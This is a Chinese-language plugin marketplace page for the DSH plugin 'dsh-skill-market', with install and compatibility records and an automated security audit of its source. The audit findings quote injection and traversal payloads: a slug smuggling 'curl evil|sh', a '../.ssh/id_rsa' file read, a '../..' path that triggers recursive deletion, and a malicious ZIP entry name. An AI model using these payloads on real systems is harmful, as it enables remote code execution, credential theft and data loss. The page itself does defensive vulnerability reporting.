安装验证:运行验证通过 (L5) · 验证于 dsh 0.2.1-rc.2 · 验证日期 安装验证详情 →
功能介绍AI
为 DSH 提供技能市场(SkillHub + ClawHub),含侧边栏入口、浮层面板与聊天输入快速选择,方便浏览和选用技能。
- 侧边栏入口与浮层面板,浏览 SkillHub 和 ClawHub 技能
- 可直接在聊天输入框快速选择技能
- 一个插件整合两个技能市场供 harness 使用
能力标签为 AI 推断或 README 规则抽取(见角标),词表受限、未经安装验证;AI = 推断,README = 原文关键词。
安装
dsh plugin --profile web add dsh-skill-market安装方式: npm · 运行验证通过 (L5)
验证与兼容性
按插件版本分组:每张卡是该插件版本实测过的 dsh 版本与安装兼容结论(L5 优先)。只列真测过的组合——未列出 = 未实测,不推定兼容。L1–L3 为插件级静态档(与 dsh 版本无关,各 dsh 行同值):在行内「验证等级」格里与 L4/L5 并列显示、标注「静态」,证据体为插件级单份、随行内「查看检查项与证据」出现,不在各版本重复存储。
External credentials(插件级):未检测到
○ 作者未声明 dsh 版本要求 —— 安装不会因版本被拒。
| 插件版本 \ dsh | dsh 0.2.1-rc.2 当前 | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 |
|---|---|---|---|
| 1.0.0 | ✓ | ✓ | ✓ |
1.0.0npm✓ 运行验证通过 32026-10-19
dsh-skill-market
✓dsh 0.2.1-rc.2当前2026-10-19L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • 被测插件工件: npm · dsh-skill-market@1.0.0
ID: dsh-skill-market-4@1.0.0@dsh0.2.1-rc.2 · 档位: l4-sandbox
签发:2026-10-19 · 有效至:2026-10-26
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.2.1-alpha.42026-10-16L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • 被测插件工件: npm · dsh-skill-market@1.0.0
ID: dsh-skill-market-4@1.0.0@dsh0.2.1-alpha.4 · 档位: l4-sandbox
签发:2026-10-16 · 有效至:2026-10-23
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.2.1-alpha.22026-10-15L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • 被测插件工件: npm · dsh-skill-market@1.0.0
ID: dsh-skill-market-4@1.0.0@dsh0.2.1-alpha.2 · 档位: l3-fullscan
签发:2026-10-15 · 有效至:2026-10-22
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
仅展示最近 3 个已发布版本;源码快照(commit hash)组、未标注工件组与更早版本不展示——全量档案保留在数据层(插件无任何已发布版本时,快照/未标注组才照常展示)。
作者徽章
将官方徽章嵌入你的 README,展示插件的安全与安装检测状态:
`[](https://www.dsh.so/artifact/dsh-skill-market-4/)``[](https://www.dsh.so/artifact/dsh-skill-market-4/)`安全报告
两层自动化检查,都不是人工审核:静态扫描(逐插件规则判定)与模型驱动的动态安全审计(只覆盖静态判定 warn 及以上的插件子集,不执行插件代码)。
静态扫描 低,动态审计最高 高,按「取更严者」→ 总评级 高。
v1.0.0dsh 清单1.0.0npm2026-10-211.0.0版本一致clean · npmvet 为 AST 静态扫描(npm 发布物或 git 源码)。
静态发现(3 条)
- 严重shellExec · shell
src/index.js:352execSync(`tar -xf "${tempZip}" -C "${targetDir}"`, { - 严重shellExec · shell
src/index.js:362execSync( - 严重shellExec · shell
src/index.js:838execSync(`move "${src}" "${dst}"`, { windowsHide: true, stdio: 'pipe' })
展开 5 条审计发现
- high命令注入:未校验的 slug 被拼入 execSync 的 tar / PowerShell 命令
src/index.js:352slug 直接取自 RPC 载荷(`const { slug, source, ownerHandle } = args`),并作为 targetDir = join(skillsDir, slug) 使用。含双引号加 shell 元字符的 slug(如 x";curl evil|sh;")可闭合引号并以 DSH 宿主用户身份执行任意命令;Windows 回退分支同样把该值拼入 powershell -Command "Expand-Archive -Path '...' -DestinationPath '${targetDir}'"。前提:该 slug 的 ZIP 下载成功,代码才会执行到 extractZip。
- highslug 路径穿越可递归删除任意目录
src/index.js:884skill-hub/uninstall 只校验 slug 非空,随后将其 join 到 skillsDir 并递归删除。POST {"slug":"../.."}(或 "../Documents")会让 rmSync 删除 $DSH_HOME 或用户主目录;skill-hub/install 同样如此(第 811 行对已存在 targetDir 的 rmSync,第 819 行解压失败后的清理),安装路径同样可被用来破坏数据。
- high通过 skill-hub/readme 任意读取文件(fileName 与 slug 穿越)
src/index.js:517fileName 与 slug 均未校验。slug 取 '..' 时基准目录解析为 $DSH_HOME(必然存在),fileName '../.ssh/id_rsa' 是候选列表第一项,readFileSync 的内容会随 ok() 响应返回。宿主用户可读的任意 UTF-8 文件(密钥、配置、凭据)都可经该端点被窃取。
- high通过 ZIP 内恶意文件名在 Windows 上对 'move' 命令注入
src/index.js:839解压下载的技能后,插件遍历压缩包子目录并用 cmd.exe 语法移动每个文件。ZIP 条目名完全由攻击者控制:只要发布一个压缩包内含如 a" & calc & ".md 的子目录文件,Windows 宿主用户在安装该技能时即被执行命令(外层 try/catch 还会吞掉错误)。
- mediumextractZipManual 存在 Zip Slip:'....//' 可绕过 '..' 过滤
src/index.js:416该过滤只做一次非递归替换,'....//' 会塌缩为 '../','../../x' 即可越出 targetDir:当系统 tar 步骤失败而走手动解析路径时,攻击者发布的 STORE 方式压缩包条目可写入 DSH 用户可写的任意位置(如覆盖 shell 启动脚本)。同时主路径的安全完全依赖系统 tar/PowerShell 自身的穿越防护,行为取决于实现。
RPC 传入的 slug/fileName 未经校验即拼入 shell 命令和文件路径,可导致命令注入、任意文件读取和递归删除。
口径:动态审计只会把风险往严重里判,不会把风险降下来(只升不降,不构成豁免);模型判错时由人工复核撤回,撤回后回到静态判定。合并判定 = 两层中更严的那一个。
免责声明:静态扫描与动态安全审计都是自动化分析,不构成安全保证。安装前请自行审查。
活跃度
最近提交 2026-10-08 · 活跃度:活跃
• 仓库创建: 2026-09-01
• 星标: ★ 7 · 复刻: 0
• 健康度: 活跃 — 近 30 天有提交
来源
作者 README
GitHub 原文 ↗展示作者仓库中的原始 README 内容,实时抓取、未做改写;优先加载中文版(README.zh-CN.md 等),无中文版时回退英文。
